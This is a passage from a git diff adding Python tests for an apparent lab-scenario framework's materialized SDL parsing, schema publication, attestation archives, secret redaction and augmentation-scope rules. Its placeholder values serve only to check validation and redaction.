raes_contracts.contracts import schema_bundle +from test_issue_1241_materialized_sdl import materialized_payload + + +def test_materialization_contracts_are_published_with_qualified_sdl_identity(): + bundle = schema_bundle() + assert { + "materialized-scenario-v1", + "backend-materialization-attestation-v1", + "materialization-archive-record-v1", + } <= bundle.keys() + schema = bundle["materialized-scenario-v1"] + validator = Draft202012Validator(schema) + payload = materialized_payload(nodes={"lab.host": {"type": "compute"}}) + assert not list(validator.iter_errors(payload)) + for name in ["Not Portable", "lab." + "a" * 36]: + invalid = deepcopy(payload) + invalid["nodes"] = {name: {"type": "compute"}} + assert list(validator.iter_errors(invalid)) + assert schema["additionalProperties"] is False + assert schema["x-raes-document-phase"] == "materialized-scenario" + + +@pytest.mark.parametrize( + "field,value", [("variables", {}), ("imports", []), ("module", None), ("description", "${unbound}")] +) +def test_materialized_schema_rejects_other_phase_machinery_and_substitution(field, value): + validator = Draft202012Validator(schema_bundle()["materialized-scenario-v1"]) + assert list(validator.iter_errors(materialized_payload(**{field: value}))) + + +@pytest.mark.parametrize("field", ["node_name", "source_node"]) +@pytest.mark.parametrize("value", ["not portable", "lab.__private", "lab..host", "host\n", "a" * 2049]) +def test_published_resource_bindings_reject_invalid_qualified_identity(field, value): + from raes.materialization_provenance import MaterializedResourceBinding + + payload = materialized_payload() + binding = {"address": "provision.node.host", "node_name": "host", "source_node": "host", field: value} + with pytest.raises(ValueError): + MaterializedResourceBinding.model_validate(binding) + payload["materialization_provenance"]["resource_bindings"] = [binding] + validator = Draft202012Validator(schema_bundle()["materialized-scenario-v1"]) + assert list(validator.iter_errors(payload)) diff --git a/implementations/python/tests/test_issue_1241_materialization_snapshot.py b/implementations/python/tests/test_issue_1241_materialization_snapshot.py new file mode 100644 index 000000000..75c78e685 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_snapshot.py @@ -0,0 +1,47 @@ +"""Only admitted archive references enter ordinary durable runtime snapshots.""" + +import json + +import pytest +from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot, RuntimeSnapshotEnvelope +from raes_operations.run_artifacts import RunMaterializationArchive +from raes_runtime.backend_calls import _call_backend_apply +from raes_runtime.control_plane_api_models import _snapshot_model +from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload +from test_issue_1241_materialized_sdl import materialized_payload + + +def test_archive_reference_survives_updates_store_and_api_roundtrips(tmp_path): + record = RunMaterializationArchive(tmp_path).publish(json.dumps(materialized_payload())) + snapshot = RuntimeSnapshot(materialization_attestations=(record,)) + updated = snapshot.with_entries({}) + assert updated.materialization_attestations == (record,) + restored = _snapshot_from_payload(_snapshot_payload(updated)) + assert restored.materialization_attestations == (record,) + wire = _snapshot_model(RuntimeSnapshotEnvelope(snapshot=restored)) + assert wire.materialization_attestations == [record] + assert _snapshot_from_payload(wire.model_dump(mode="json")).materialization_attestations == (record,) + + +def test_backend_cannot_forge_a_runtime_owned_archive_reference(tmp_path): + record = RunMaterializationArchive(tmp_path).publish(json.dumps(materialized_payload())) + previous = RuntimeSnapshot() + + def apply(snapshot): + return ApplyResult(True, RuntimeSnapshot(materialization_attestations=(record,))) + + result = _call_backend_apply(apply, previous, address="runtime.forged-archive", snapshot=previous) + assert not result.success + assert result.snapshot == previous + assert any(item.address == "runtime.snapshot.materialization-attestations" for item in result.diagnostics) + + +def test_portable_snapshot_rejects_duplicate_archive_identities(tmp_path): + from raes_contracts.contracts import RuntimeSnapshotEnvelopeModel + + record = RunMaterializationArchive(tmp_path).publish(json.dumps(materialized_payload())) + wire = _snapshot_model(RuntimeSnapshotEnvelope(snapshot=RuntimeSnapshot(materialization_attestations=(record,)))) + payload = wire.model_dump(mode="json") + payload["materialization_attestations"].append(record.model_dump(mode="json")) + with pytest.raises(ValueError): + RuntimeSnapshotEnvelopeModel.model_validate(payload) diff --git a/implementations/python/tests/test_issue_1241_materialized_sdl.py b/implementations/python/tests/test_issue_1241_materialized_sdl.py new file mode 100644 index 000000000..949929b97 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialized_sdl.py @@ -0,0 +1,257 @@ +"""Materialization descriptions use the ordinary, closed SDL ingestion path.""" + +import json + +import pytest +from raes import SDLParseError, parse_sdl + + +def materialization_provenance(**updates): + payload = { + "profile": "raes-materialization-attestation/v1", + "attestation_id": "materialization-1", + "authored_digest": { + "profile": "raes-sdl-semantic/v2", + "algorithm": "sha256", + "value": "sha256:" + "a" * 64, + }, + "instantiated_digest": { + "profile": "raes-sdl-instantiated-snapshot/v2", + "algorithm": "sha256", + "value": "sha256:" + "b" * 64, + }, + "plan_digest": "sha256:" + "c" * 64, + "predecessor_digest": "sha256:" + "d" * 64, + "operation_id": "operation-1", + "run_id": "run-1", + "recorded_at": "2026-09-14T12:00:00Z", + "boundary": "post-materialization", + "producer": { + "name": "test-backend", + "version": "1.0.0", + "configuration_digest": "sha256:" + "e" * 64, + "manifest_digest": "sha256:" + "f" * 64, + }, + "coverage_profile": "raes-materialization-effects/v1", + "origins": [], + "resource_bindings": [], + } + return {**payload, **updates} + + +def materialized_payload(**updates): + return { + "name": "materialized-example", + "materialization_provenance": materialization_provenance(), + **updates, + } + + +def test_ordinary_parser_admits_a_distinct_materialized_phase(): + parsed = parse_sdl(json.dumps(materialized_payload())) + + assert type(parsed).__name__ == "MaterializedScenario" + assert parsed.semantic_validated + assert parsed.materialization_provenance.boundary == "post-materialization" + assert not hasattr(parsed, "instantiation_provenance") + assert not hasattr(parsed, "variables") + assert parse_sdl(json.dumps(parsed.model_dump(mode="json", exclude_unset=True))) == parsed + + +def test_materialized_parser_preserves_qualified_names_and_native_runtime_models(): + payload = materialized_payload( + nodes={ + "lab.host": { + "type": "compute", + "services": [{"port": 22, "name": "ssh"}], + "runtime": { + "ssh_servers": [ + { + "ssh_server_id": "login", + "service": "ssh", + "forced_command": { + "command_kind": "redacted", + "command_redacted": True, + }, + } + ] + }, + } + } + ) + parsed = parse_sdl(json.dumps(payload)) + + assert list(parsed.nodes) == ["lab.host"] + command = parsed.nodes["lab.host"].runtime.ssh_servers[0].forced_command + assert command.command == "" + assert command.command_redacted is True + + +@pytest.mark.parametrize("field,value", [("variables", {}), ("imports", []), ("module", None)]) +def test_materialized_phase_rejects_authoring_machinery(field, value): + content = json.dumps(materialized_payload(**{field: value})) + with pytest.raises(SDLParseError): + parse_sdl(content) + + +def test_materialized_phase_never_resolves_an_import(monkeypatch, tmp_path): + import raes.composition + + calls = [] + + def unexpected_resolution(*args, **kwargs): + calls.append(True) + raise AssertionError("materialized SDL must not invoke import resolution") + + monkeypatch.setattr(raes.composition, "expand_sdl_modules", unexpected_resolution) + content = json.dumps(materialized_payload(imports=[{"path": "untrusted.sdl", "as": "external"}])) + path = tmp_path / "attestation.sdl" + with pytest.raises(SDLParseError): + parse_sdl(content, path=path) + assert calls == [] + + +def test_materialized_phase_rejects_unresolved_substitution(): + content = json.dumps(materialized_payload(description="unresolved ${input}")) + with pytest.raises(SDLParseError): + parse_sdl(content) + + +def test_authored_identifiers_remain_unqualified(): + content = json.dumps({"name": "authored", "nodes": {"lab.host": {"type": "compute"}}}) + with pytest.raises(SDLParseError): + parse_sdl(content) + + +def test_materialized_roundtrip_uses_the_normal_renderer_and_its_own_digest(): + from raes.canonical import canonical_materialized_sdl_digest, canonical_sdl_digest + from raes.formatting import render_sdl_source + + parsed = parse_sdl(json.dumps(materialized_payload())) + rendered = render_sdl_source(parsed) + assert rendered.scenario == parsed + digest = canonical_materialized_sdl_digest(parsed) + assert digest.profile == "raes-sdl-materialized/v1" + assert digest == canonical_materialized_sdl_digest(parse_sdl(rendered.content)) + with pytest.raises(SDLParseError): + canonical_sdl_digest(parsed) + + +def test_materialized_sdl_uses_the_existing_compiler_and_planner_without_becoming_authority(): + from raes_contracts.vocabulary import RealizationSupportMode + from raes_processor.compiler import compile_scenario_runtime_model + from raes_processor.planner import plan + from test_sem_218_realization_designation import _manifest + + parsed = parse_sdl( + json.dumps( + materialized_payload( + nodes={"host": {"type": "compute"}}, + infrastructure={"host": {}}, + ) + ) + ) + model = compile_scenario_runtime_model(parsed) + assert model.materialization_description == parsed + assert model.realization_instance is None + assert not model.realization_authority + assert not model.realization_requirements + result = plan(model, _manifest(RealizationSupportMode.OPEN_REALIZATION)) + assert "provision.node.host" in result.provisioning.resources + assert result.provisioning.purpose == "inspection" + assert result.orchestration.purpose == "inspection" + assert result.evaluation.purpose == "inspection" + + +def test_materialized_sdl_cannot_be_implicitly_reinstantiated(): + from raes import SDLInstantiationError, instantiate_scenario + + parsed = parse_sdl(json.dumps(materialized_payload())) + with pytest.raises(SDLInstantiationError): + instantiate_scenario(parsed) + + +def test_shared_canonical_comparison_preserves_materialization_artifact_kind(): + from raes import compare_canonical_artifacts + + left = parse_sdl(json.dumps(materialized_payload())) + same = parse_sdl(json.dumps(materialized_payload())) + different = parse_sdl(json.dumps(materialized_payload(description="changed"))) + comparison = compare_canonical_artifacts(left, same) + assert comparison.equivalent + assert comparison.artifact_kind.value == "sdl-materialization" + assert not compare_canonical_artifacts(left, different).equivalent + + +def test_materialized_phase_keeps_the_existing_semantic_reference_gate(): + from raes import SDLValidationError + + content = json.dumps( + materialized_payload( + nodes={"host": {"type": "compute"}}, + infrastructure={"host": {"links": ["missing-network"]}}, + ) + ) + with pytest.raises(SDLValidationError): + parse_sdl(content) + + +@pytest.mark.parametrize("index", ["-1", "00", "+0"]) +def test_materialization_origin_requires_canonical_array_indices(index): + payload = materialized_payload(nodes={"host": {"type": "compute", "services": [{"name": "ssh", "port": 22}]}}) + payload["materialization_provenance"]["origins"] = [ + { + "change": "added", + "field_pointer": f"/nodes/host/services/{index}", + "origin": "backend-realized", + } + ] + content = json.dumps(payload) + with pytest.raises(SDLParseError): + parse_sdl(content) + + +def test_direct_description_is_bounded_before_serialization(): + from raes import admit_materialized_scenario + + parsed = parse_sdl(json.dumps(materialized_payload())) + forged = parsed.model_copy(update={"description": "x" * (1048576 + 1)}) + with pytest.raises(ValueError, match="bound"): + admit_materialized_scenario(forged) + + +@pytest.mark.parametrize("classification", ["operator_secret", "redacted"]) +def test_added_environment_cannot_embed_values_marked_as_redacted(classification): + payload = materialized_payload( + nodes={ + "host": { + "type": "compute", + "runtime": { + "environment": [ + {"name": "TOKEN", "value": "private-test-marker", "value_classification": classification} + ] + }, + } + } + ) + content = json.dumps(payload) + with pytest.raises(SDLParseError) as error: + parse_sdl(content) + assert "private-test-marker" not in str(error.value) + + +def test_materialization_provenance_is_concrete_too(): + payload = materialized_payload() + payload["materialization_provenance"]["operation_id"] = "${unbound}" + content = json.dumps(payload) + with pytest.raises(SDLParseError): + parse_sdl(content) + + +def test_canonical_materialization_revalidates_direct_objects(): + from raes import canonical_materialized_sdl_digest + + parsed = parse_sdl(json.dumps(materialized_payload())) + forged = parsed.model_copy(update={"description": "${unbound}"}) + with pytest.raises((ValueError, SDLParseError)): + canonical_materialized_sdl_digest(forged) diff --git a/implementations/python/tests/test_issue_1241_planner_inventory.py b/implementations/python/tests/test_issue_1241_planner_inventory.py new file mode 100644 index 000000000..5cbf805c4 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_planner_inventory.py @@ -0,0 +1,151 @@ +"""Review F2: materialized SDL retains the admitted planner projection context.""" + +from dataclasses import replace + +import pytest +from raes import parse_sdl +from raes_contracts.planning import PlanScope, RuntimeDomain +from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot, SnapshotEntry +from raes_processor.compiler import compile_runtime_model +from raes_processor.planner import admit_materialization_submission, plan +from test_issue_1241_materialization_context import attesting_plan +from test_issue_1241_materialization_runtime import ReportingProvisioner + + +def _projected_plan(kind): + execution, model = attesting_plan() + manifest = execution.manifest + context = None + if kind.startswith("profile"): + from raes_contracts.realization_profiles import profile_context_digest + from test_issue_1204_profile_carrier import _profiles + + authority, context = _profiles() + model = replace(model, profile_authority=authority) + manifest = replace( + manifest, + supported_contract_versions=manifest.supported_contract_versions + | { + "plan-realization-profiles-v1", + "backend-realization-preparation-v1", + }, + domain_profile_context_digest=profile_context_digest(context), + ) + else: + from test_issue_1276_random_value_generation import _scoped_flag_scenario, _with_random_value_support + + manifest = _with_random_value_support(manifest) + model = compile_runtime_model(parse_sdl(_scoped_flag_scenario(kind).replace("web", "host"))) + result = plan( + model, manifest, scope=PlanScope(run_id="run-1", instantiation_id="instance-1"), profile_context=context + ) + assert result.is_valid, result.diagnostics + if kind == "profile_selected": + from raes_contracts.domain_profiles import DomainProfileBindingBasis + from raes_runtime.backend_profiles import prepared_profile_violation + + operations = [ + replace( + op, + profile_bindings=tuple( + binding.model_copy( + update={ + "value": {"name": "green"}, + "provenance": binding.provenance.model_copy( + update={"basis": DomainProfileBindingBasis.BACKEND_SELECTED} + ), + } + ) + for binding in op.profile_bindings + ), + ) + for op in result.provisioning.operations + ] + selected = replace(result.provisioning, operations=operations) + assert prepared_profile_violation(result.provisioning, selected, context) is None + result = replace(result, provisioning=selected) + return result + + +def test_profile_preparation_and_attestation_share_the_real_apply_pipeline(tmp_path): + from raes_operations.run_artifacts import RunMaterializationArchive + from raes_reference_backend import create_reference_backend_target + from raes_runtime.manager import RuntimeManager + from test_issue_1204_reference_profiles import _reference_profiles + + authority, context, choices = _reference_profiles() + target = create_reference_backend_target(domain_profile_context=context, profile_choices=choices) + manifest = replace( + target.manifest, + supported_contract_versions=target.manifest.supported_contract_versions + | {"backend-materialization-attestation-v1"}, + ) + + class ReportingBackend: + def __getattr__(self, name): + return getattr(target.provisioner, name) + + def apply(self, request, previous): + result = target.provisioner.apply(request, previous) + return ReportingProvisioner(manifest).report(request, previous, result) + + manager = RuntimeManager( + replace(target, manifest=manifest, provisioner=ReportingBackend()), + materialization_archive=RunMaterializationArchive(tmp_path), + ) + execution = manager.plan( + parse_sdl("name: profiles\nnodes:\n host: {type: compute}\n"), + profile_authority=authority, + run_scope=PlanScope(run_id="run-1"), + ) + assert execution.is_valid, execution.diagnostics + result = manager.apply(execution) + assert result.success, result.diagnostics + assert result.snapshot.entries["provision.node.host"].profile_bindings[0].value == {"name": "green"} + assert len(result.snapshot.materialization_attestations) == 1 + assert manager.destroy().success + + +@pytest.mark.parametrize("kind", ["profile", "profile_selected", "per_run", "per_instantiation"]) +@pytest.mark.parametrize("phase", ["provisioning", "orchestration", "evaluation"]) +@pytest.mark.parametrize("tampered", [False, True]) +def test_materialized_inventory_preserves_trusted_planner_projection(kind, phase, tampered): + execution = _projected_plan(kind) + entries = { + op.address: SnapshotEntry( + op.address, + RuntimeDomain.PROVISIONING, + op.resource_type, + op.payload, + ordering_dependencies=op.ordering_dependencies, + refresh_dependencies=op.refresh_dependencies, + profile_bindings=op.profile_bindings, + ) + for op in execution.provisioning.operations + } + projected = RuntimeSnapshot(entries=entries) + previous = RuntimeSnapshot() if phase == "provisioning" else projected + actual = projected + if tampered: + changed = dict(entries) + if kind.startswith("profile"): + owner = changed["provision.node.host"] + assert owner.profile_bindings + changed[owner.address] = replace(owner, profile_bindings=()) + else: + owner = changed["provision.generated-artifact.techvault-flag"] + assert owner.payload["scope_binding"] + changed[owner.address] = replace(owner, payload={**owner.payload, "scope_binding": "run:forged"}) + actual = RuntimeSnapshot(entries=changed) + request = replace(getattr(execution, phase), operation_id="materialize-once") + report = ReportingProvisioner(execution.manifest).report(request, previous, ApplyResult(True, actual)) + if tampered: + with pytest.raises(ValueError, match="inventory|outside its operation domain"): + admit_materialization_submission( + report.materialization_attestation, request, execution.manifest, previous, actual + ) + else: + admitted = admit_materialization_submission( + report.materialization_attestation, request, execution.manifest, previous, actual + ) + assert "scope_binding" not in admitted.sdl diff --git a/implementations/python/tests/test_issue_1241_policy_ownership.py b/implementations/python/tests/test_issue_1241_policy_ownership.py new file mode 100644 index 000000000..0c1cadf05 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_policy_ownership.py @@ -0,0 +1,41 @@ +"""Operational provenance owns bounded delivery surfaces, not arbitrary backends.""" + +from pathlib import Path + +import yaml +from tools.policy.requirement_governance import _check_path_ownership, match_phase + + +def test_materialization_provenance_delivery_has_bounded_ownership(): + root = Path(__file__).resolve().parents[3] + policy = yaml.safe_load((root / "tools/policy/requirement_order.yaml").read_text()) + phase = match_phase(policy, "SEM-225") + assert phase.phase_id == "materialization-provenance" + allowed = [ + "implementations/python/packages/raes_operations/run_artifacts.py", + "implementations/python/packages/raes_runtime/backend_materialization.py", + "implementations/python/packages/raes_runtime/control_plane_configuration.py", + "contracts/schemas/sdl/materialized-scenario-v1.json", + "contracts/schema-publication/entries/materialized-scenario-v1.json", + "docs/research/formal-semantic-validation/bundles/retest-v16.json", + "docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md", + "docs/decisions/issue-1242-scenario-scope-preflight.md", + "specs/sdl/sections.md", + "specs/sdl/augmentation-scope.md", + "contracts/schemas/plans/backend-augmentation-scope-v1.json", + "contracts/schema-publication/entries/backend-augmentation-scope-v1.json", + "contracts/fixtures/plans/backend-augmentation-scope-v1/valid/reference.json", + "contracts/fixtures/plans/backend-augmentation-scope-v1/invalid/partial-coverage.json", + "implementations/python/packages/raes_backend_protocols/augmentation.py", + "implementations/python/packages/raes_runtime/backend_augmentation.py", + "implementations/python/packages/raes_runtime/manager_augmentation.py", + ] + assert not _check_path_ownership(policy, phase, allowed) + forbidden = [ + "implementations/python/packages/raes_backend_libvirt/target.py", + "implementations/python/packages/raes_reference_backend/target.py", + "contracts/schemas/concept-authority/unrelated-contract.json", + "docs/requirements/GOV-941/requirement.md", + "docs/research/unrelated-study/results.md", + ] + assert {failure.path for failure in _check_path_ownership(policy, phase, forbidden)} == set(forbidden) diff --git a/implementations/python/tests/test_issue_1241_schema_omissions.py b/implementations/python/tests/test_issue_1241_schema_omissions.py new file mode 100644 index 000000000..a4020bb8d --- /dev/null +++ b/implementations/python/tests/test_issue_1241_schema_omissions.py @@ -0,0 +1,170 @@ +"""Review F1: schema-only readers enforce native runtime omission rules.""" + +import ast +import importlib +import json +from pathlib import Path + +import pytest +from jsonschema import Draft202012Validator +from raes_contracts.contracts import schema_bundle + +VALUE_CASES = [ + ("runtime_forwarding_agent", "RuntimeForwardingSetting", "classification", "value", {"setting_id": "setting"}), + ( + "runtime_platform_application_content", + "RuntimePlatformApplicationSetting", + "classification", + "value", + {"setting_id": "setting"}, + ), + ("runtime_datastore_partitions", "RuntimeDatastoreSetting", "classification", "value", {"setting_id": "setting"}), + ("runtime_directory_identity", "RuntimeIdentityAttribute", "value_classification", "values", {"name": "attribute"}), + ( + "runtime_mail_service", + "RuntimeMailSetting", + "value_classification", + "value", + {"setting_id": "setting", "name": "setting"}, + ), + ( + "runtime_security_monitoring", + "RuntimeSecurityMonitoringSetting", + "value_classification", + "value", + {"setting_id": "setting", "name": "setting"}, + ), + ("runtime_database", "DatabaseSetting", "value_classification", "value", {"name": "setting"}), + ("runtime_dns", "DnsRuntimeSetting", "value_classification", "value", {"name": "setting"}), + ("runtime_application", "RuntimeApplicationExposedField", "sensitivity", "value", {"name": "field"}), + ("runtime_environment", "RuntimeEnvironmentVariable", "value_classification", "value", {"name": "SETTING"}), + ("image_provenance", "ImageBuildArg", "value_classification", "value", {"name": "SETTING"}), + ("image_provenance", "ImageEnvironmentDefault", "value_classification", "value", {"name": "SETTING"}), +] + + +def test_redaction_regressions_cover_every_shared_value_omission_consumer(): + root = Path(__file__).resolve().parents[1] / "packages/raes" + consumers = set() + for path in root.rglob("*.py"): + tree = ast.parse(path.read_text()) + for node in ast.walk(tree): + if isinstance(node, ast.ClassDef) and any( + isinstance(call, ast.Call) + and isinstance(call.func, ast.Name) + and call.func.id == "enforce_observed_value_redaction" + for call in ast.walk(node) + ): + consumers.add(node.name) + assert consumers == {case[1] for case in VALUE_CASES} + + +@pytest.fixture(scope="module") +def phase_schemas(): + bundle = schema_bundle() + root = Path(__file__).resolve().parents[3] + schemas = [ + bundle[name] + for name in ("sdl-authoring-input-v1", "instantiated-scenario-snapshot-v1", "materialized-scenario-v1") + ] + schemas.append(json.loads((root / "contracts/schemas/sdl/materialized-scenario-v1.json").read_text())) + return schemas + + +def assert_schema_admission(schemas, name, payload, expected): + for schema in schemas: + validator = Draft202012Validator({"$defs": schema["$defs"], "$ref": f"#/$defs/{name}"}) + assert validator.is_valid(payload) is expected, (name, schema.get("title"), payload) + + +@pytest.mark.parametrize( + "module,name,raw,seed", + [ + ("runtime_container", "RuntimeInitProcess", "argv", {"argv_redacted": True}), + ("runtime_identity", "RuntimeSudoRule", "commands", {"principal": "user", "command_redacted": True}), + ("runtime_ssh_server", "SshForcedCommand", "command", {"command_kind": "redacted", "command_redacted": True}), + ( + "runtime_service_units", + "ServiceUnitExecStart", + "command", + {"command_kind": "redacted", "command_redacted": True}, + ), + ], +) +@pytest.mark.parametrize("flag", [True, "true", "YES", "on", " 1 "]) +def test_redacted_commands_are_omitted_in_every_phase_schema(phase_schemas, module, name, raw, seed, flag): + model = getattr(importlib.import_module(f"raes.{module}"), name) + seed = {key: flag if value is True else value for key, value in seed.items()} + model.model_validate(seed) + assert_schema_admission(phase_schemas, name, seed, True) + invalid = {**seed, raw: "/bin/withheld" if raw == "command" else ["/bin/withheld"]} + with pytest.raises(ValueError): + model.model_validate(invalid) + assert_schema_admission(phase_schemas, name, invalid, False) + + +def test_redacted_process_limit_subject_omits_command(phase_schemas): + from raes.runtime_resource_limits import RuntimeProcessResourceLimit + + payload = { + "resource": "open_file_descriptors", + "soft": 10, + "hard": 20, + "subject": {"pid": 1, "command_redacted": True}, + } + RuntimeProcessResourceLimit.model_validate(payload) + assert_schema_admission(phase_schemas, "RuntimeProcessResourceLimit", payload, True) + payload["subject"]["command"] = ["/bin/withheld"] + with pytest.raises(ValueError): + RuntimeProcessResourceLimit.model_validate(payload) + assert_schema_admission(phase_schemas, "RuntimeProcessResourceLimit", payload, False) + + +@pytest.mark.parametrize("module,name,classification,raw,seed", VALUE_CASES) +@pytest.mark.parametrize("label", ["redacted", "operator_secret", "OPERATOR-SECRET"]) +def test_redacted_values_are_omitted_in_every_phase_schema( + phase_schemas, module, name, classification, raw, seed, label +): + model = getattr(importlib.import_module(f"raes.{module}"), name) + valid = {**seed, classification: label} + model.model_validate(valid) + assert_schema_admission(phase_schemas, name, valid, True) + empty = [] if raw == "values" else "" + assert_schema_admission(phase_schemas, name, {**valid, raw: empty}, True) + invalid = {**valid, raw: ["withheld"] if raw == "values" else "withheld"} + with pytest.raises(ValueError): + model.model_validate(invalid) + assert_schema_admission(phase_schemas, name, invalid, False) + visible = {**invalid, classification: "plain"} + model.model_validate(visible) + assert_schema_admission(phase_schemas, name, visible, True) + + +@pytest.mark.parametrize( + "field,value", + [ + ("owner_user", "user"), + ("owner_group", "group"), + ("uid", 0), + ("gid", 0), + ("mode", "0600"), + ("size", 0), + ("content_digest", "abc"), + ("digest_algorithm", "sha256"), + ], +) +def test_absent_filesystem_entries_omit_present_only_facts(phase_schemas, field, value): + from raes.runtime_filesystem import RuntimeFilesystemEntry + + valid = {"path": "/missing", "presence": "expected_absent", "entry_type": "file"} + RuntimeFilesystemEntry.model_validate(valid) + assert_schema_admission(phase_schemas, "RuntimeFilesystemEntry", valid, True) + invalid = {**valid, field: value} + if field in {"content_digest", "digest_algorithm"}: + invalid.update(content_digest="abc", digest_algorithm="sha256") + with pytest.raises(ValueError): + RuntimeFilesystemEntry.model_validate(invalid) + assert_schema_admission(phase_schemas, "RuntimeFilesystemEntry", invalid, False) + present = {**invalid, "presence": "present"} + RuntimeFilesystemEntry.model_validate(present) + assert_schema_admission(phase_schemas, "RuntimeFilesystemEntry", present, True) diff --git a/implementations/python/tests/test_issue_1241_schema_publication_size.py b/implementations/python/tests/test_issue_1241_schema_publication_size.py new file mode 100644 index 000000000..9aecd9905 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_schema_publication_size.py @@ -0,0 +1,70 @@ +"""The self-contained attestation schema fits the repository publication budget.""" + +import json +from copy import deepcopy +from pathlib import Path + +import pytest +from jsonschema import Draft202012Validator +from raes_contracts.contracts import schema_bundle + + +def test_published_materialized_schema_fits_the_existing_file_budget(): + root = Path(__file__).resolve().parents[3] + path = root / "contracts/schemas/sdl/materialized-scenario-v1.json" + assert path.stat().st_size <= 500 * 1024 + assert json.loads(path.read_text()) == schema_bundle()["materialized-scenario-v1"] + + +def test_shared_rules_expand_to_the_exact_unfactored_schema(monkeypatch): + from raes_contracts.contracts import bundle + + actual = schema_bundle()["materialized-scenario-v1"] + with monkeypatch.context() as patch: + patch.setattr(bundle, "factor_shared_schema", deepcopy) + original = bundle._schema_bundle_template.__wrapped__()["materialized-scenario-v1"] + added = set(actual["$defs"]) - set(original["$defs"]) + assert added + refs = {f"#/$defs/{name}": actual["$defs"][name] for name in added} + + def expand(node): + if isinstance(node, list): + return [expand(value) for value in node] + if not isinstance(node, dict): + return node + if set(node) == {"$ref"} and node["$ref"] in refs: + return expand(refs[node["$ref"]]) + return {key: expand(value) for key, value in node.items()} + + without_shared = deepcopy(actual) + without_shared["$defs"] = {name: value for name, value in actual["$defs"].items() if name not in added} + assert expand(without_shared) == original + + +def test_factoring_preserves_instance_data_and_existing_definition_names(): + from raes_contracts.contracts.schema_factoring import factor_shared_schema + + rule = {"type": "string", "maxLength": 10, "description": "Repeated schema documentation " * 4} + source = { + "$defs": {"_r0": {"const": "retained"}}, + "type": "object", + "properties": {"first": rule, "second": rule}, + "default": {"first": rule}, + } + original = deepcopy(source) + factored = factor_shared_schema(source) + assert source == original + assert factored["default"] == source["default"] + assert factored["$defs"]["_r0"] == source["$defs"]["_r0"] + assert factored["properties"]["first"] == factored["properties"]["second"] + assert "$ref" in factored["properties"]["first"] + for instance in [{}, {"first": "valid"}, {"second": "too long a value"}, {"first": 42}, [], None]: + assert Draft202012Validator(factored).is_valid(instance) == Draft202012Validator(source).is_valid(instance) + + +@pytest.mark.parametrize("keyword", ["$id", "$anchor", "$dynamicAnchor", "$dynamicRef"]) +def test_factoring_refuses_nested_reference_scopes(keyword): + from raes_contracts.contracts.schema_factoring import factor_shared_schema + + with pytest.raises(ValueError, match="anchor-free"): + factor_shared_schema({"$defs": {"nested": {keyword: "other", "type": "string"}}}) diff --git a/implementations/python/tests/test_issue_1242_augmentation_scope.py b/implementations/python/tests/test_issue_1242_augmentation_scope.py new file mode 100644 index 000000000..a2cfeb1cf --- /dev/null +++ b/implementations/python/tests/test_issue_1242_augmentation_scope.py @@ -0,0 +1,219 @@ +"""Author addition permission is separate from realization and defaults open.""" + +import json + +import pytest +from raes import parse_sdl +from raes._errors import SDLError +from raes.instantiate import instantiate_scenario + + +def scenario_with_scope(policy): + return parse_sdl( + json.dumps( + { + "name": "scope-example", + "nodes": {"host": {"type": "compute"}, "management": {"type": "compute"}}, + "augmentation_scope": policy, + } + ) + ) + + +def test_omission_is_open_without_changing_historical_serialization(): + from raes_contracts.augmentation_scope import effective_augmentation_scope + + scenario = parse_sdl("name: legacy\nnodes: {host: {type: compute}}") + assert effective_augmentation_scope(scenario.augmentation_scope, "/nodes/host").permission == "open" + assert "augmentation_scope" not in scenario.model_dump(mode="json", exclude_unset=True) + + +def test_explicit_scope_survives_instantiation_with_local_exceptions(): + from raes_contracts.augmentation_scope import effective_augmentation_scope + + scenario = scenario_with_scope( + { + "default": "closed", + "scopes": [{"scope": "/nodes/management", "permission": "open"}], + } + ) + instance = instantiate_scenario(scenario) + policy = instance.augmentation_scope + assert policy == scenario.augmentation_scope + assert effective_augmentation_scope(policy, "/nodes/host/runtime").permission == "closed" + assert effective_augmentation_scope(policy, "/nodes/management/runtime").permission == "open" + assert effective_augmentation_scope(policy, "/nodes/management-extra").permission == "closed" + + +def test_open_realization_is_not_addition_permission(): + from raes_contracts.augmentation_scope import effective_augmentation_scope + + scenario = parse_sdl(""" +name: separate-authorities +realization: {default: open} +augmentation_scope: {default: closed} +nodes: {host: {type: compute}} +""") + assert effective_augmentation_scope(scenario.augmentation_scope, "/nodes/host").permission == "closed" + + +@pytest.mark.parametrize("scope", ["nodes/host", "/nodes/missing", "/nodes/hostish"]) +def test_scope_must_resolve_to_an_admitted_semantic_location(scope): + with pytest.raises(SDLError): + scenario_with_scope({"scopes": [{"scope": scope, "permission": "closed"}]}) + + +def test_conflicting_equal_specificity_rules_are_refused(): + with pytest.raises(SDLError): + scenario_with_scope( + { + "scopes": [ + {"scope": "/nodes/host", "permission": "open"}, + {"scope": "/nodes/host", "permission": "closed"}, + ] + } + ) + + +def test_unresolved_namespace_cannot_silently_disable_a_restriction(): + with pytest.raises(SDLError): + scenario_with_scope({"scopes": [{"scope": "/nodes/host", "permission": "closed", "namespace": ["missing"]}]}) + + +def test_imported_restriction_survives_outer_open_policy(tmp_path): + from raes import parse_sdl_file + from raes_contracts.augmentation_scope import effective_augmentation_scope + + (tmp_path / "protected.yaml").write_text(""" +name: protected +module: {id: example/protected, version: 1.0.0, exports: {nodes: [host]}} +augmentation_scope: {default: closed} +nodes: {host: {type: compute}} +""") + root = tmp_path / "root.yaml" + root.write_text(""" +name: composed +imports: [{source: 'local:protected.yaml', namespace: protected}] +augmentation_scope: {default: open} +nodes: {local: {type: compute}} +""") + instance = instantiate_scenario(parse_sdl_file(root)) + policy = instance.augmentation_scope + assert effective_augmentation_scope(policy, "/nodes/local").permission == "open" + assert effective_augmentation_scope(policy, "/nodes/protected.host").permission == "closed" + assert effective_augmentation_scope(policy, "/nodes/protected.collector").permission == "closed" + + +@pytest.mark.parametrize("section", ["nodes", "forwarding_agents"]) +def test_existing_import_namespace_cannot_hide_a_local_restriction(tmp_path, section): + from raes import admit_instantiated_scenario, parse_sdl_file + + (tmp_path / "protected.yaml").write_text(""" +name: protected +module: {id: example/protected, version: 1.0.0, exports: {nodes: [host], forwarding_agents: 